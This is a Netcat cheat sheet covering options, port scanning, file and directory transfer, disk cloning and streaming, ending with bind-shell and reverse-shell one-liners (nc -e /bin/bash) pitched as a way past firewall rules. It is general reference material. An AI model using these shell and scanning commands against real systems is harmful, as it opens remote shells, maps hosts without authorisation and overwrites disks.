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Netcat

This cheat sheet provides various for using Netcat on both Linux and Unix.

#Getting Started

#Usage

Connect to a host located anywhere

$ nc [options] [host] [port]

Listen for incoming connections

$ nc -lp port [host] [port]

#Option examples

Option Description Example
-h nc -h Help
-z nc -z 192.168.1.9 1-100 Port scan for a host or IP address
-v nc -zv 192.168.1.9 1-100 Provide verbose output
-n nc -zn 192.168.1.9 1-100 Fast scan by disabling DNS resolution
-l nc -lp 8000 TCP Listen mode (for inbound connects)
-w nc -w 180 192.168.1.9 8000 Define timeout value
-k nc -kl 8000 Continue listening after disconnection
-u nc -u 192.168.1.9 8000 Use UDP instead of TCP
-q nc -q 1 192.168.1.9 8000 Client stay up after EOF
-4 nc -4 -l 8000 IPv4 only
-6 nc -6 -l 8000 IPv6 only

#Chat client-server

Server (192.168.1.9)

$ nc -lv 8000

Client

$ nc 192.168.1.9 8000

#Netcat Examples

$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1

or

echo "" | nc -zv -wl 192.168.1.1 801-805

#Port scanning

Scan ports between 21 to 25

$ nc -zvn 192.168.1.1 21-25

Scan ports 22, 3306 and 8080

$ nc -zvn 192.168.1.1 22 3306 8080

#Proxy and port forwarding

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

or

$ nc -l 8001 | nc 127.0.0.1 8000

Create a tunnel from one local port to another

#Download file

Server (192.168.1.9)

$ nc -lv 8000 < file.txt

Client

$ nc -nv 192.168.1.9 8000 > file.txt

Suppose you want to transfer a file “file.txt” from server A to client B.

#Upload file

Server (192.168.1.9)

$ nc -lv 8000 > file.txt

Client

$ nc 192.168.1.9 8000 < file.txt

Suppose you want to transfer a file “file.txt” from client B to server A:

#Directory transfer

Server (192.168.1.9)

$ tar -cvf – dir_name | nc -l 8000

Client

$ nc -n 192.168.1.9 8000 | tar -xvf -

Suppose you want to transfer a directory over the network from A to B.

#Encrypt transfer

Server (192.168.1.9)

$ openssl enc -des3 -in file.txt -pass pass:password | nc -l 8000

Client

$ nc 192.168.1.9 8000 | openssl enc -des3 -d -pass pass:password -out file.txt

Encrypt data before transfering over the network

#Clones

Server (192.168.1.9)

$ dd if=/dev/sda | nc -l 8000

Client

$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

Cloning a linux PC is very simple. Suppose your system disk is /dev/sda

#Video streaming

Server (192.168.1.9)

$ cat video.avi | nc -l 8000

Client

$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

Streaming video with netcat

#Remote shell

Server (192.168.1.9)

$ nc -lv 8000 -e /bin/bash

Client

$ nc 192.168.1.9 8000

We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission to install them, then we can create remote shell using netcat also.

#Reverse shell

Server (192.168.1.9)

$ nc -lv 8000

Client

$ nc 192.168.1.9 8000 -v -e /bin/bash

Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections